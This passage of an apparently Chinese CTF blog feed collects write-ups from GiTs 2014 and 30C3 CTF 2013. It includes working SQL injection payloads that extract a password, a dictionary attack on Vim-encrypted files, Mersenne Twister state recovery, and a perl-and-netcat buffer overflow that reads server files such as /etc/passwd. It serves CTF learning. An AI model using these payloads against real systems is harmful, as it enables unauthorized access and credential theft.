最後解出的 xor key 是: <code>8fd8392de73d15c49b7188ad91cdcad8cc7978e304d4acd2f336b275b18bcd32</code><br>
有了這一串 xor key<br>
我們就可以把 payload 加密成正確的形式<br>
再做 <strong>SQL injection</strong> </p>
<p>測試一下 <code>' or 1=1 or ''='</code><br>
可以成功得到訊息變成 <em>Welcome, admin!</em><br>
再做幾個測試<br>
發現存在 <code>password</code> 欄位<br>
所以把密碼給猜出來應該就是 key 了<br>
先試試長度: <code>' or length(password)=46 or '</code><br>
發現密碼共 46 位<br>
接著寫 script 一個一個踹出正確的字元<br>
一開始用的 payload 是 <code>' or mid(password,pos,1)='a' xor'</code><br>
但是會大小寫不分...而且不知道為什麼 <em>Y</em> 測試不出來 = =<br>
CTF 結束後我又試了一下<br>
原來直接用 <code>' or mid(password,1,1)='a</code><br>
就可以試出來了 Orz </p>
<blockquote>
<p>pos 1 is [5]<br>
pos 2 is [0]<br>
pos 3 is [M]<br>
pos 4 is [3]<br>
pos 5 is [7]<br>
pos 6 is [I]<br>
pos 7 is [M]<br>
pos 8 is [3]<br>
... </p>
</blockquote>
<p>flag: <code>50M37IM35_Y0U_D0_N07_N33D_A_K3Y_70_D3CRYP7_AES</code> </p>GiTs 2014 Crypto 75 Dogecrypt2014-01-20T23:46:00+08:002014-01-20T23:46:00+08:00ddaatag:ddaa.tw,2014-01-20:/gits_crypto_75_dogecrypt.html<p>老實說我覺得這題出滿爛的<br>
害我花最長時間解結果沒解出來<br>
因為最關鍵的資訊是在 IRC 上提示的 ORZ </p>
<hr>
<p>這題給的檔案是一個加密過後的文件<br>
前面的標頭是 <strong>VimCrypt~01!</strong><br>
google 以後我才知道原來 <em>vim</em> 可以用 <code>:X</code> 或 <code>-x</code> 加密文件 =.=<br>
加密方式又有分較舊版的 <strong>PKZIP (VimCrypt~01)</strong> 和新版的 <strong>blowfish (VimCrypt~02)</strong><br>
這題是舊版的 <strong>PKZIP</strong> </p>
<p>一開始 google 尋找解法<br>
發現有人寫了 <strong>vimzipper</strong><br>
用途是將加密過的 vim 文件重新包裝成 zip 的格式<br>
包完可以用 <strong>pkcrack</strong> 或其他破解 zip 的軟體去分析<br>
但是測試後重新封裝的 zip 沒辦法用 brute-force 去得到 key<br>
<strong>pkcrack …</strong></p><p>老實說我覺得這題出滿爛的<br>
害我花最長時間解結果沒解出來<br>
因為最關鍵的資訊是在 IRC 上提示的 ORZ </p>
<hr>
<p>這題給的檔案是一個加密過後的文件<br>
前面的標頭是 <strong>VimCrypt~01!</strong><br>
google 以後我才知道原來 <em>vim</em> 可以用 <code>:X</code> 或 <code>-x</code> 加密文件 =.=<br>
加密方式又有分較舊版的 <strong>PKZIP (VimCrypt~01)</strong> 和新版的 <strong>blowfish (VimCrypt~02)</strong><br>
這題是舊版的 <strong>PKZIP</strong> </p>
<p>一開始 google 尋找解法<br>
發現有人寫了 <strong>vimzipper</strong><br>
用途是將加密過的 vim 文件重新包裝成 zip 的格式<br>
包完可以用 <strong>pkcrack</strong> 或其他破解 zip 的軟體去分析<br>
但是測試後重新封裝的 zip 沒辦法用 brute-force 去得到 key<br>
<strong>pkcrack</strong> 則需要先知道明文才有辦法分析<br>
在網站上逛來逛去也沒看到 size = 402 byte 的文件<br>
我就卡死在這邊了 ORZ<br>
後來看別人的 write up<br>
才得知原來這題有 hint: </p>
<blockquote>
<p>"Solveable in <5m. Much attack very wamerican-small."</p>
</blockquote>
<p><strong>wamerican-small</strong> 是一個字典檔<br>
可以用 <code>apt-get install wamerican-small</code> 下載安裝<br>
裝完檔案會在 <code>/usr/share/dict/wamerican-small</code><br>
於是乎 我們就用字典破解來解這題...<br>
我用 python 開 vim 再踹密碼<br>
大約是一秒一個的速度 = =<br>
五萬多行跑完天都黑了<br>
所以用 <code>split</code> 把檔案切成 10 個<br>
大概跑一小時就跑出結果了<br>
解出來的密碼是: <em>parliament</em><br>
可以用 vim 並輸入密碼開啟原本的檔案<br>
就得到結果了~ </p>
<p>write up 提供的解法打開 vim source code<br>
用裡面的 function 來 decrypt 文件<br>
過程也是用字典檔下去試<br>
不過用這種做法五分鐘就跑完了 <(_ _)> </p>
<p>flag: <code>ShibeSuchDictionaryAttacksWow</code> </p>GiTs 2014 Reverse 150 papsmear2014-01-20T19:58:00+08:002014-01-20T19:58:00+08:00ddaatag:ddaa.tw,2014-01-20:/gits_reverse_150_papsmear.html<p>這題很慢才打開<br>
解出來的時後竟然超過時間了阿阿阿<br>
悲劇 看來還是對 python 不夠熟 </p>
<hr>
<p>根據說明用 nc 連至目標後<br>
隨便輸入一些字串<br>
得到錯誤訊息 : </p>
<blockquote>
<p>Serial: asd<br>
Bzzt. Wrong! </p>
</blockquote>
<p>直接打開檔案發現是一個 python 的 code<br>
最後有兩行: </p>
<div class="highlight"><pre><span></span>with open('flag.txt','r') as f:
print f.read()
</pre></div>
<p>看來這題的目的很明顯了<br>
需要找出一個正確 Serial 滿足所有條件<br>
Server 就會把 key 給噴出來<br>
剩下的就是 trace code...<br>
首先,程式將 Serial 以 <em>-</em> 分開 變成 6 個數字<br>
每次取 …</p><p>這題很慢才打開<br>
解出來的時後竟然超過時間了阿阿阿<br>
悲劇 看來還是對 python 不夠熟 </p>
<hr>
<p>根據說明用 nc 連至目標後<br>
隨便輸入一些字串<br>
得到錯誤訊息 : </p>
<blockquote>
<p>Serial: asd<br>
Bzzt. Wrong! </p>
</blockquote>
<p>直接打開檔案發現是一個 python 的 code<br>
最後有兩行: </p>
<div class="highlight"><pre><span></span>with open('flag.txt','r') as f:
print f.read()
</pre></div>
<p>看來這題的目的很明顯了<br>
需要找出一個正確 Serial 滿足所有條件<br>
Server 就會把 key 給噴出來<br>
剩下的就是 trace code...<br>
首先,程式將 Serial 以 <em>-</em> 分開 變成 6 個數字<br>
每次取 1 對數字 <code>(num1, num2)</code> 做判斷 </p>
<p>先解釋一下每個函數代表的意思: </p>
<ol>
<li><code>_a()</code> : 得到數個質數,大小為 2~x ,每次呼叫後都會改變下一次呼叫的值</li>
<li><code>__a(n)</code> : 為 <code>_a()</code> 所得到的質數做過濾,如果是 n 的因數,則過濾此質數</li>
<li><code>___a(n)</code> : 將 <code>__a()</code> 過濾後的質數做 (1 - 1.0 / p) 取整數後相乘</li>
<li><code>____a(n)</code> : <code>___(num1 * num2) == ___a(num1) * ___a(num2)</code></li>
<li><code>_____a(num1, num2)</code> : 限制 num1 介於10001~100000,num2 介於100~999</li>
</ol>
<p>程式有幾條限制 任何一條沒滿足都會發生 exception 並結束: </p>
<ol>
<li><code>_____a()</code> 回傳 True</li>
<li><code>___a(num1) == num1 - 1</code></li>
<li><code>____a()</code> 回傳 True</li>
<li>3個(num1,num2)組合不能相同</li>
<li>最後一個條件有點複雜,直接看 code</li>
</ol>
<div class="highlight"><pre><span></span>for k in range(7,10):
a,b = int(c.pop()),int(c.pop())
for x in [a+b*n for n in range(k)]:
y = [p for p in __a(x)]
if not (len(y)==1 and y[0]==x):raise
</pre></div>
<p>看似條件很多<br>
但是其實 <em>條件 1</em> 是限制 input size<br>
<em>條件 3</em> 很容易滿足<br>
所以暫時不用考慮<br>
我們先找出滿足 <em>條件 2</em> 的所有 <code>num1</code><br>
再用暴力解去找出滿足 <em>條件 5</em> 的解<br>
最後再用 <em>條件 3</em> 來檢查是不是正確的解 </p>
<p>只有三組 k 滿足以上條件<br>
<strong>k = 7 or 8 or 9</strong>
分別對應到 3 組 num<br>
有些解是共同的<br>
因為 <em>條件 4</em> 的限制所以要挑不一樣的解<br>
隨便選一組送過去就拿到key了 </p>
<blockquote>
<p>Serial:<br>
10243-420-11003-630-10859-210<br>
The flag is: ThesePrimesAreNotIllegal </p>
</blockquote>
<p>flag: <code>ThesePrimesAreNotIllegal</code> </p>GiTs 2014 Trivia 150 lugkist2014-01-20T19:04:00+08:002014-01-20T19:04:00+08:00ddaatag:ddaa.tw,2014-01-20:/gits_trivia_150_lugkist.html<p>這次的CTF全名是 : ghost in the shell code<br>
超級長 所以縮寫成 GiTs </p>
<hr>
<p>將xz檔解壓縮以後得到的是一個純文字的文件<br>
前面兩行是 Find the key<br>
後面開始是好幾行的大寫英文字母 每行有六個字 </p>
<blockquote>
<p>GVZSNG
AXZIOG
YNAISG
ASAIUG
....</p>
</blockquote>
<p>第一時間以為是 <strong>ADFGVX</strong> 加密<br>
但是仔細看並不是這麼回事<br>
先寫個簡單的小程式來統計出現的字母<br>
發現文中只出現 <strong>AEGIKLNOPSTUVXYZ</strong><br>
於是就把這一串拿去 google<br>
找得到的討論串不多<br>
其中一個標題是 <em>SMB1 Game Genie thread of epic winness</em><br>
看完討論得知 <strong>AEGIKLNOPSTUVXYZ</strong> 是某個遊戲機金手指的輸入字元<br>
<img alt="game_genie.png" src="https://ddaa.tw/images/gits_2014_lugkist_1.png"></p>
<p>於是以 <strong>Game Genie</strong> 為關鍵字下去搜尋<br>
得知每一個 <strong>AEGIKLNOPSTUVXYZ</strong> 的字串<br>
都可以對應到一個 hex …</p><p>這次的CTF全名是 : ghost in the shell code<br>
超級長 所以縮寫成 GiTs </p>
<hr>
<p>將xz檔解壓縮以後得到的是一個純文字的文件<br>
前面兩行是 Find the key<br>
後面開始是好幾行的大寫英文字母 每行有六個字 </p>
<blockquote>
<p>GVZSNG
AXZIOG
YNAISG
ASAIUG
....</p>
</blockquote>
<p>第一時間以為是 <strong>ADFGVX</strong> 加密<br>
但是仔細看並不是這麼回事<br>
先寫個簡單的小程式來統計出現的字母<br>
發現文中只出現 <strong>AEGIKLNOPSTUVXYZ</strong><br>
於是就把這一串拿去 google<br>
找得到的討論串不多<br>
其中一個標題是 <em>SMB1 Game Genie thread of epic winness</em><br>
看完討論得知 <strong>AEGIKLNOPSTUVXYZ</strong> 是某個遊戲機金手指的輸入字元<br>
<img alt="game_genie.png" src="https://ddaa.tw/images/gits_2014_lugkist_1.png"></p>
<p>於是以 <strong>Game Genie</strong> 為關鍵字下去搜尋<br>
得知每一個 <strong>AEGIKLNOPSTUVXYZ</strong> 的字串<br>
都可以對應到一個 hex address<br>
所以我們要做的事情是<br>
把每一行的 ciphertext 轉換成 hex string </p>
<p>理論上應該是要研究他們轉換的算法<br>
不過我不小心 google 到別人寫好的 perl code XD<br>
轉換出來會得到兩段 hex string<br>
前半段是類似 <strong>ddab</strong> 這種格式<br>
後半段則是一個 ASCII code<br>
用一開始的順序解出來的結果是<br>
<code>d w P m a ? d i r c i e l m y w n c a a v p a h s i k v t s n h t e n c e h o B g s a o r e d e . y o e</code> </p>
<p>完全看不出來是三小 XD<br>
所以推測前面的 hex string 應該是用來排序<br>
果然排序後就得到key了<br>
<code>P o w e r o v e r w h e l m i n g ? B a c k i n m y d a y c h e a t s d i d n o t h a v e s p a c e s .</code> </p>
<p>flag: <code>Power overwhelming? Back in my day cheats did not have spaces.</code> </p>30C3CTF 2013 Number 100 Guess2013-12-30T22:56:00+08:002013-12-30T22:56:00+08:00ddaatag:ddaa.tw,2013-12-30:/30c3ctf_2013_number_100_guess.html<p>第一次玩的 wargame --- 程式安全的作業1<br>
也是猜數字...不過<br>
這題好難 Orz... </p>
<hr>
<p>先 nc 連過去看看情況 </p>
<blockquote>
<p>Welcome to this little guessing game!<br>
You have 0/10 right guesses, whats your next guess? 123<br>
Nope, that was wrong, correct would have been 8309891200023509866...<br>
You have 0/10 right guesses, whats your next guess? 456<br>
Nope, that was …</p></blockquote><p>第一次玩的 wargame --- 程式安全的作業1<br>
也是猜數字...不過<br>
這題好難 Orz... </p>
<hr>
<p>先 nc 連過去看看情況 </p>
<blockquote>
<p>Welcome to this little guessing game!<br>
You have 0/10 right guesses, whats your next guess? 123<br>
Nope, that was wrong, correct would have been 8309891200023509866...<br>
You have 0/10 right guesses, whats your next guess? 456<br>
Nope, that was wrong, correct would have been 14393411043272556995...<br>
You have 0/10 right guesses, whats your next guess? </p>
</blockquote>
<p>大概就是要我們猜對 10 次吧<br>
看看程式碼是如何寫的: </p>
<div class="highlight"><pre><span></span>if guess != answer:
guess_right = 0
c.sendall("Nope, that was wrong, correct would have been %s...\n" % answer)
continue
guess_right += 1
if guess_right < guess_limit:
c.sendall("Yes! That was correct, awesome...\n")
continue
c.sendall("You did it! The flag is: %s" % flag)
</pre></div>
<p>結果不只要猜對 10 次 還要連續猜對 10 次 XD<br>
以前作業是用 bof 去 overwrite 判斷的變數<br>
不過 python 是沒有什麼 bof 之類的可以用吧... </p>
<p>只好研究一下答案是如何產生的: </p>
<div class="highlight"><pre><span></span>r = random.Random()
r.seed(os.urandom(16))
...
while 1:
answer = str(r.getrandbits(64)
....
</pre></div>
<p>看起來沒有破綻,每次連線 seed 的值都由 <code>os.urandom(16)</code> 決定<br>
不過在 <strong>連線後</strong> seed 的值就固定了<br>
當下我是想了幾種做法: </p>
<ol>
<li>破解出 <code>os.urandom()</code> 的算法,知道下次seed之後就可以得知每次產生的answer</li>
<li>暴力破解試出seed的值,然後就可以推出後面 <code>getrandbits(64)</code> 的結果</li>
<li>破解出 <code>getrandbits(64)</code> 的算法,得到後面 <code>getrandbits(64)</code> 的結果</li>
</ol>
<p>google一下 <code>os.random()</code> 的作法,得知是看系統的 <em>/dev/urandom</em> 是怎麼實作,感覺在遠端是無法破解吧 XD<br>
然後當時不知道哪根筋不對,竟然會覺得 2 是可行的,程式寫完開始 run 就去睡覺<br>
後來想想 seed 的可能性是... 16byte = 2^8^16 = 2^128 <br>
幹...跑到 4012 年都跑不出結果吧 XD<br>
還一度想用平行運算...後來想想 ctf 應該不會出這種需要暴力破解的題目 </p>
<p>最後考慮方案(3)....開始 google <code>Random.getrandbits()</code> 的作法<br>
最後找到一篇<br>
[http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html] </p>
<p><code>Random.getrandbits()</code> 是 PRNG (偽隨機數生成器)<br>
所用到的演算法是 <strong>Mersenne Twister</strong><br>
MT 會產生 624 個 state
每個 state 代表一個 32 bit 的數字<br>
每一個 state 可以產生出一個 32 bit 的亂數<br>
計算的方式如下: </p>
<div class="highlight"><pre><span></span>int tmp = state[currentIndex];
tmp ^= (tmp >>> 11);
tmp ^= (tmp << 7) & 0x9d2c5680;
tmp ^= (tmp << 15) & 0xefc60000;
tmp ^= (tmp >>> 18);
ran_num = tmp
</pre></div>
<p>624個 state 用完,再計算新的 state value<br>
所以我們接著需要做的是.... </p>
<ol>
<li>隨便猜一個數字,並記錄傳回的 answer</li>
<li>將 answer 拆成前半 a1 和後半 a2,分別是兩次 state 產生出來的亂數</li>
<li>用 a1, a2 反推出 state 代表的結果 s1, s2</li>
<li>重複 312 次,共得到 624 個state</li>
</ol>
<p>得到 624 個 state 後,可以產生每個 state 下一次的value </p>
<div class="highlight"><pre><span></span>int[] state;
for (i = 0; i < 624; i++) {
int y = (state[i] & 0x80000000) + (state[(i + 1) % 624] & 0x7fffffff);
int next = y >>> 1;
next ^= state[(i + 397) % 624];
if ((y & 1L) == 1L)
next ^= 0x9908b0df;
state[i] = next;
}
</pre></div>
<p>用新的 state 套上前面計算的方式,就是下次的 answer<br>
<img alt="flag.png" src="https://ddaa.tw/images/30c3CTF_2013_guess_flag.png"> </p>
<p>flag: <code>30C3_b9b1579866cccd28b1918302382c9107</code></p>30C3CTF 2013 PWN 100 DOGE12013-12-30T21:25:00+08:002013-12-30T21:25:00+08:00ddaatag:ddaa.tw,2013-12-30:/30c3ctf_2013_pwn_100_doge1.html<p>這次都沒有人陪打 QQ<br>
只解兩題 100 分...真慘<br>
不過這題 100 分,跟另一題的難度也差太多了吧 = = </p>
<hr>
<p>先用 nc 連線過去,要求我們輸入名稱,然後就看到一隻...豬頭?<br>
提示有兩個指令好用: <code>feed</code>, <code>show</code><br>
<code>show</code> 是再印一次豬頭,<code>feed</code> 也差不多,奇怪的功能 = =<br>
<img alt="doge1.png" src="https://ddaa.tw/images/30c3CTF_2013_doge_1.png"> </p>
<p>假如不輸入 <code>feed</code> 或 <code>show</code>,試著輸入長字串,毫無反應 Orz<br>
試試看輸入超長名稱....沒有印出那顆豬頭了 XD </p>
<p>這題有提供原始程式,資料夾底下有三個檔案:</p>
<ul>
<li>ascii_art_doge_color.txt</li>
<li>doge.so</li>
<li>run.py</li>
</ul>
<p><em>ascii_art_doge_color.txt</em> 就是那隻豬頭的 ascii 圖檔<br>
<em>run.py</em> 只有 …</p><p>這次都沒有人陪打 QQ<br>
只解兩題 100 分...真慘<br>
不過這題 100 分,跟另一題的難度也差太多了吧 = = </p>
<hr>
<p>先用 nc 連線過去,要求我們輸入名稱,然後就看到一隻...豬頭?<br>
提示有兩個指令好用: <code>feed</code>, <code>show</code><br>
<code>show</code> 是再印一次豬頭,<code>feed</code> 也差不多,奇怪的功能 = =<br>
<img alt="doge1.png" src="https://ddaa.tw/images/30c3CTF_2013_doge_1.png"> </p>
<p>假如不輸入 <code>feed</code> 或 <code>show</code>,試著輸入長字串,毫無反應 Orz<br>
試試看輸入超長名稱....沒有印出那顆豬頭了 XD </p>
<p>這題有提供原始程式,資料夾底下有三個檔案:</p>
<ul>
<li>ascii_art_doge_color.txt</li>
<li>doge.so</li>
<li>run.py</li>
</ul>
<p><em>ascii_art_doge_color.txt</em> 就是那隻豬頭的 ascii 圖檔<br>
<em>run.py</em> 只有: </p>
<table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre>1
2
3
4
5</pre></div></td><td class="code"><div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python</span>
<span class="kn">import</span> <span class="nn">signal</span>
<span class="kn">import</span> <span class="nn">doge</span>
<span class="n">signal</span><span class="o">.</span><span class="n">signal</span><span class="p">(</span><span class="n">signal</span><span class="o">.</span><span class="n">SIGCHLD</span><span class="p">,</span> <span class="n">signal</span><span class="o">.</span><span class="n">SIG_IGN</span><span class="p">)</span>
<span class="n">doge</span><span class="o">.</span><span class="n">listen</span><span class="p">(</span><span class="s2">"0.0.0.0"</span><span class="p">,</span> <span class="mi">1024</span><span class="p">)</span>
</pre></div>
</td></tr></table>
<p><em>doge.so</em> 是編譯過的 linux library<br>
執行起來,並且輸入長字串看看結果,結果 server 端有噴出錯誤訊息 </p>
<blockquote>
<p>...<br>
File "doge.pyx", line 54, in doge.Doge.__str__ (doge.c:1875)<br>
IOError: [Errno 2] No such file or directory: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' </p>
</blockquote>
<p>看來是發生 bof 了 XD<br>
繼續試一下前面塞多少才會蓋到,結果是 "a"x32<br>
<code>perl -e 'print "a"x32 . "test"' | nc 0 1024</code> </p>
<blockquote>
<p>...<br>
File "doge.pyx", line 54, in doge.Doge.<strong>str</strong> (doge.c:1875)<br>
IOError: [Errno 2] No such file or directory: 'testi_art_doge_color.txt' </p>
</blockquote>
<p>試試看能不能成功讀檔:
<code>perl -e 'print "a"x32 . "run.py\x00"' | nc 0 1024</code></p>
<blockquote>
<p>Dogename: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarun.py#!/usr/bin/env python<br>
import signal<br>
import doge<br>
signal.signal(signal.SIGCHLD, signal.SIG_IGN)<br>
doge.listen("0.0.0.0", 1024)<br>
commands: feed, show </p>
</blockquote>
<p>接下來就是猜猜看了...試了幾個檔案像是 <em>flag</em> , <em>flag.txt</em> , <em>key</em> , <em>key.txt</em> ...都失敗了 = =<br>
最後猜到 <em>/etc/passwd</em><br>
<img alt="flag.png" src="https://ddaa.tw/images/30c3CTF_2013_doge_flag.png"></p>
<p>flag: <code>30C3_51dd250e0adb864ff40cc40b818852f4</code></p>